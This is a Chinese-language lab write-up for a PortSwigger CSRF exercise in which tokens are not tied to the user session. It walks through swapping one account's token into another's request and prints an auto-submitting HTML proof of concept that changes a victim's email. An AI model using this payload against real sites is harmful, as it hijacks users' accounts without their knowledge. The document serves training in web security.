从业者-CSRF-令牌未绑定到用户会话
# 实验室:CSRF-令牌未绑定到用户会话
# 题目
此实验室的 电子邮件更改功能 容易受到 CSRF 的攻击。它试图使用令牌来防止 CSRF 攻击,但它们没有集成到网站的会话处理系统中。
若要解决实验室问题,请使用漏洞利用服务器托管一个 HTML 页面,该页面使用 CSRF 攻击来更改查看者的电子邮件地址。
你在应用程序上有两个帐户,可用于帮助设计攻击。凭据如下:
wiener:peter
carlos:montoya
提示
你不能注册已被其他用户占用的电子邮件地址。如果你在测试漏洞期间 更改了自己的电子邮件地址,请你确保——向受害者发送的最终漏洞利用中,应包含不同的电子邮件地址。
- name: 实验室-从业者
desc: CSRF-令牌未绑定到用户会话 >>
avatar: https://fastly.statically.io/gh/clincat/blog-imgs@main/vuepress/static/imgs/docs/burpsuite-learn/public/lab-logo.png
link: https://portswigger.net/web-security/csrf/bypassing-token-validation/lab-token-not-tied-to-user-session
bgColor: '#001350'
textColor: '#4cc1ff'
1
2
3
4
5
6
2
3
4
5
6
# 实操
点击 “ACCESS THE LAB” 进入实验室。
进入实验室,点击 “My account” 访问登录界面,并使用题目中提供的用户名和密码,登录wiener
账户。
登录后,在账户页面中可以看到一个邮箱更改功能,输入一个新邮箱,点击 “Update email” 并捕获请求数据包。
捕获的请求数据包如下。
由于 CSRF token 只能使用一次,所以当重发的时候会返回错误信息。
登录另一个测试账户,在网页源代码中找到该账户的 CSRF token,复制它。
将carlos
用户的 token 提供给wiener
的邮箱更改数据包,请求成功。
说明服务端不挑食,不管是谁的 token,只要是个 token 他都收。
使用 Burp 的辅助工具生成一个 CSRF PoC,另外获取一个新的 token 并放入 PoC 中的指定位置。
别忘了修改 PoC 中的邮件地址,防止冲突。
<html>
<!-- CSRF PoC - generated by Burp Suite Professional -->
<body>
<form action="https://<受攻击的域>/my-account/change-email" method="POST">
<input type="hidden" name="email" value="x@y.z" />
<input type="hidden" name="csrf" value="<你的令牌>" />
<input type="submit" value="Submit request" />
</form>
<script>
history.pushState('', '', '/');
document.forms[0].submit();
</script>
</body>
</html>
1
2
3
4
5
6
7
8
9
10
11
12
13
14
2
3
4
5
6
7
8
9
10
11
12
13
14
保存 PoC 之后,点击 “Deliver exploit to victim” 将其发送给受害用户。
载荷正确,成功更改了受害用户的邮箱地址。
实验完成。
编辑 (opens new window)